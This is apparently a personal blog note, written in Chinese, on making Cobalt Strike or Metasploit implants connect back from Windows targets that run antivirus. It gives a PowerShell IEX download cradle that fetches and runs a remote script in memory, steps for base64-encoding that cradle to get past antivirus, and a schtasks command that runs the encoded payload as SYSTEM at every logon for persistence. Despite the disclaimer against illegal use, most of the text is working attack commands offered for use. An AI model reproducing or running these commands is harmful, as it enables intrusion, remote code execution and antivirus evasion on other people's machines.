介绍

该笔记是一年多以前记录的,偶然在电脑的一个txt文件里面发现了,顺带就整理了一下写在这里,偶尔可能也会用用。

切勿用于非法用途!

正常测试

使用该方式需要将生成的文件上传到目标上,如果目标上存在杀软的话,可能会导致文件被杀从而无法落地。

首先在cs上面随意生成一个exe,并在测试机器上测试能否正常上线(该测试未附带免杀效果,建议内网测试并将特定文件夹添加白名单并将exe放置于白名单目录),MSF同理。开始测试步骤:

  1. 利用cs生成测试文件

2. 将测试文件置于测试机中,并运行测试是否正常上线;这里测试的时候未正常上线,检查了Listeners发现80端口未正常监听,重启了监听器后正常上线了。

无文件方式测试

Powershell混淆

Powershell的远程加载模块是通过IEX函数实现,但是如果目标机器上面安装了杀毒软件的情况,多数情况下会拦截IEX函数,所以我们通过Powershell混淆方式,对Powershell的指令进行编码混淆,并调用远程加载模块,从远端服务器下载文件到机器内存中执行,实现无文件落地,从而使目标机器上线。

正常的powershell远端加载文件到内存中执行的命令如下:

powershell IEX (New-Object Net.Webclient).downloadstring("http://192.168.10.10:8080/xx.ps1")

我将这个在我物理机安装了火绒的机器上面进行测试,可以看到直接被拦截:

虽然不知道现在还能不能成功,但是还是记录一下,万一最终还是被拦截,就当是我复习一下功课了。

  • 对Powershel命令进行编码混淆,命令的特征:

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.ps1')"

//其中iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.ps1')是需要编码混淆的。

混淆的步骤

将需要编码混淆的部分提取出来,放置于一个独立的txt文件之中,且txt文件**不能**存放于带有中文目录的位置。嗯,我还说测试远端下载exe在内存中执行,发现只能远端加载ps1文件才能上线。那就正常用加载ps1文件测试吧。

  1. 将如下内容存为一个独立txt文件,自己视情况修改。

"iex(New-Object Net.WebClient).DownloadString('http://192.168.10.10:8080/pstest.ps1')"

> //注意双引号也要带上,但是不要带上我这句话。

2. 在Powershell中按提示执行下述命令。

$File1 = "E:\TEST\pst\1.txt"		//上一步骤中txt的文件位置,

$Content1 = get-content $File1		//执行顺序2

$Bytes = [System.Text.Encoding]::UTF8.GetBytes($Content1)	//跳过

$Bytes = [System.Text.Encoding]::gbk.GetBytes($Content1)	//跳过

$Bytes = [System.Text.Encoding]::unicode.GetBytes($Content1)	//执行顺序3

$Encoded = [System.Convert]::ToBase64String($Bytes)		//执行顺序4

#$Encoded | set-content ($File1 + ".b64")	//跳过

Write-Host "ENCODED: " $Encoded			//执行顺序5

//上述可以在自己本机本地编码后复制到远端机器执行也行哈。

  1. 执行完上述命令后,窗口会将编码后的内容返回,这时候将内容进行复制保存。

4. 获取到编码后的内容后,可以调用Powershell的解码函数,将内容进行解码执行。并测试是否正常上线。

powershell -nop -enc 编码内容

5. 嗯火爸爸还是要拦截,没办法喽。

注意事项

  1. 需要编码混淆的指令需要独立保存在一个文本文件中,且需要保存到纯英文目录下。

  2. 因为正常情况下Powershell调用IEX函数是需要加上双引号的,但是由于我们编码的时候也把双引号编码了,所以执行的时候就不需要添加双引号了。

  3. 还有个问题就是,编码的内容不要太长,太长了会报错,是因为操作命令行参数要超出限制,简而言之就是要短,但是其他函数是固定的,所以能精简的只有远端的访问地址。远端地址如果能写成:http://192.168.10.10:8080/pstest.ps1

就绝对不要写成:http://192.168.10.10:8080/eieiei/hahaha/lalal/pstest.ps1

适用场景

  1. 目标机器存在杀软但是不拦截Powershell命令的情况下可以使用。

  2. 想要实现无文件落地形式,不想送样本的情况。

  3. 但是这个有个弊端,如果是在目标机器上执行的话,cmd窗口一关闭机器就会掉线。所以有效的方式是创建一个bat脚本,通过start /b xx.bat的方式执行。(嗯,又试了,好像这样也不行)。网络上有powershell隐藏不显示窗口的方法,但是对于这种情况我看好像不是很适用,因为还涉及到修改运行规则等。

如何使用

  1. 可利用计划任务方式创建计划任务执行该Powershell命令。

schtasks /create /tn power /tr "powershell -nop -enc 编码后内容" /sc ONLOGON /ru system

// 这是在用户登录后执行该计划任务,也可以改为1分钟执行一次或者其他,因为我记不住怎么写的,这是我笔记本里面自带的,所以就贴出来了。
  1. 如果RCE点权限够高,也不拦截命令的话也可以直接搞上来。